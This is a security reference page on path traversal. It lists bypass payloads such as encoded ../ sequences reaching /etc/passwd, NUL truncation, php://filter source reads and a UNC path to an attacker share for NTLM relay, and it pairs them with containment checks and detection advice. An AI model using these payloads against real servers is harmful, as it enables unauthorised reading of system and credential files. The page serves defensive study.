Path traversal
TL;DR: ../ navigates out of the intended directory. Encoding, double encoding, and unicode tricks.
What it is
A file/path parameter is concatenated into a filesystem path without containment. The classic primitive ../ walks up the directory tree until it reaches a target file outside the intended root. Variants exploit URL/UTF-8/UTF-16 encoding, NUL terminators, OS-specific separators, and case folding to defeat naive sanitisers.
Preconditions / where it applies
- An endpoint that maps a request parameter to a filename: download, view, thumbnail, log-tail, template loader
- Path concatenation without normalisation + containment check
- Process has read (or write) access to the target file
Technique
- Baseline —
?file=../../../../etc/passwdor?file=..\..\..\..\windows\win.ini. - Single-encoded —
%2e%2e%2f,%2E%2E%2F. - Double-encoded —
%252e%252e%252f(server URL-decodes once, then path code decodes again). - Mixed separators —
..%2f..%5c..%2fon Windows;..//,....//,..\/. - Sanitiser-stripping bypass — if
../is removed once non-recursively:....//becomes../after strip. - NUL truncation —
?file=../../etc/passwd%00.jpgdefeats extension allowlists on PHP/Java < fixed versions. - Absolute path — some servers accept
?file=/etc/passwddirectly (no traversal needed). - UNC / SMB — Windows:
?file=\\attacker\share\evil.txttriggers outbound auth (NTLM relay opportunity). - Unicode overlong / homoglyph —
%c0%ae%c0%ae/(overlong UTF-8 for..) on legacy decoders. - Wrapper schemes in PHP —
php://filter/convert.base64-encode/resource=index.phpexfils source; chain with lfi-rfi. - Archive extraction (zip-slip) — entry names containing
../write outside the destination; classic on Java/Node/Go tar/zip libs.
Detection signal: response leaks file contents or shows different errors for “file not found” vs “permission denied” — usable as a boolean oracle.
Detection and defence
- Resolve the path:
realpath(joined), then assert it starts withrealpath(baseDir) + separator. Reject otherwise. - Use opaque identifiers, not filenames, in user input; map id → server-side path table.
- Drop privileges; the file-serving process should not be able to read
/etc/shadow, app secrets, etc. - For archive extraction, validate every entry’s resolved path before writing.
- WAF rules for
../,..%2f,..%5c, but treat as defence-in-depth — bypasses are well-known. - Log requests touching files outside expected roots; alert on
/etc/,\windows\,.ssh/,.aws/. - Related: lfi-rfi, file-upload, ssrf, canonicalization-attacks.
References
- PortSwigger — path traversal — labs and bypass list
- OWASP — path traversal — taxonomy
- Snyk — zip slip — archive-extraction variant